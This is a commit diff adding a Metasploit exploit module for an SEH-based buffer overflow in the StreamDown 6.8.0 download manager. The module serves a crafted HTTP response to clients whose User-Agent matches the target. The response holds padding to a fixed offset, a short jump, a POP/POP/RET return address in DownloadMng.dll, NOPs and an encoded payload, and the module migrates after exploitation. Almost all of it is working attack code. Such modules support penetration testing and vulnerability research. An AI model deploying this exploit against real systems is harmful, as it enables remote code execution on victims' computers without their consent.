Add CoCSoft StreamDown buffer overflow (Feature #6168; no CVE or OSVDB ref)

modules/exploits/windows/misc/stream_down_bof.rb

@@ -0,0 +1,76 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = GoodRanking
+
+	include Msf::Exploit::Remote::HttpServer
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'StreamDown 6.8.0 Buffer overflow',
+			'Description'    => %q{
+				Stream Down 6.8.0 seh based buffer overflow triggered when processing
+				the server reponse packet.During the overflow a structured exception
+				handler is overwritten.
+			},
+			'Author'         => 'Fady Mohamed Osman <fady.mohamed.osman[at]gmail.com>',
+			'References'	 =>
+				[
+					['BID', '51190'],
+					['URL', 'http://www.dark-masters.tk/'],
+					['URL', 'http://secunia.com/advisories/47343/'],
+					['URL', 'http://www.exploit-db.com/exploits/18283/']
+				],
+			'Privileged'     => false,
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'seh',
+					'InitialAutoRunScript' => 'migrate -f'
+				},
+			'Payload'        =>
+				{
+					'BadChars' => "\x00\xff\x0a"
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					[
+						'StreamDown 6.8.0',
+						{
+							'Offset' => 16388,
+							'Ret'    => 0x10019448 #POP/POP/RET in DownloadMng.dll
+						}
+					],
+				],
+			'DefaultTarget' => 0,
+			'License'       => MSF_LICENSE
+		))
+	end
+
+	def on_request_uri(cli,request)
+		vprint_status("#{cli.peerhost}:#{cli.peerport} requested: #{request.uri}")
+
+		# No point to continue if the client isn't what we interested in
+		ua = request.headers['User-Agent']
+		if ua !~ /CoCSoft Stream Download/i
+			print_error("Target not supported: #{ua}")
+			send_not_found(cli)
+			return
+		end
+
+		nseh = "\xeb\x06" + rand_text_alpha(2)
+		seh = [target.ret].pack('V')
+		offset_to_nseh = target['Offset']
+		nops = make_nops(10)
+		sploit = rand_text_alpha(offset_to_nseh) + nseh + seh + nops + payload.encoded
+		cli.put(sploit)
+		close_client(cli)
+	end
+end